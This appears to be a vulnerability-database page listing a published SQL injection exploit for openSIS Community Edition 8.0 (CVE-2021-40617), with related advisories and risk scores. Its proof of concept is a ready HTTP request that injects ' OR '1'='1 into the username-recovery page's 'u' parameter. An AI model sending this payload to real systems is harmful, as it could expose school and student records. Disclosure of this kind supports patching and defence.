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📄 openSIS Community Edition 8.0 SQL Injection
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2021-40617 | 11 Oct 202122:24 | – | circl |
 | OS4Ed OpenSIS SQL注入漏洞 | 11 Oct 202100:00 | – | cnnvd |
 | openSIS SQL Injection Vulnerability (CNVD-2021-101542) | 12 Oct 202100:00 | – | cnvd |
 | CVE-2021-40617 | 11 Oct 202118:28 | – | cve |
 | CVE-2021-40617 | 11 Oct 202118:28 | – | cvelist |
 | openSIS Community Edition 8.0 - SQL Injection | 3 Dec 202500:00 | – | exploitdb |
 | EUVD-2021-27791 | 3 Oct 202520:07 | – | euvd |
 | CVE-2021-40617 | 11 Oct 202119:15 | – | nvd |
 | CVE-2021-40617 | 11 Oct 202119:15 | – | osv |
 | Sql injection | 11 Oct 202119:15 | – | prion |
10
# Exploit Title: openSIS Community Edition 8.0 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/OS4ED/openSIS-Classic
# Software Link: https://github.com/OS4ED/openSIS-Classic
# Version: 8.0
# Tested on: Windows
# CVE : CVE-2021-40617
Proof Of Concept
GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1
Host: opensis
Connection: close
Steps to Reproduce
Login as an admin user.
Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie.
Observe the resultData
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03 Dec 2025 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 27.5
CVSS 3.19.8
EPSS0.06595